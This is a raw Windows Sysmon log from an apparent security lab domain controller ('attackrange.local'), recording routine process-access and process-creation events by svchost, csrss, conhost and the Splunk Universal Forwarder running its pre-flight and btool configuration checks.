09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1501-000000007F01}4804C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-294F-5F80-1501-000000007F01}4804C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+eef54|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ebd15|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.935{A5F018FF-294F-5F80-1501-000000007F01}4804C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.899{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.868{A5F018FF-294F-5F80-1401-000000007F01}41044328C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1401-000000007F01}4104C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1401-000000007F01}4104C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-1301-000000007F01}26604112C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294F-5F80-1401-000000007F01}4104C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.631{A5F018FF-294F-5F80-1401-000000007F01}4104C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-1301-000000007F01}2660C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list kvstore --no-log 10341000x80000000000000005054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1301-000000007F01}2660C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.618{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 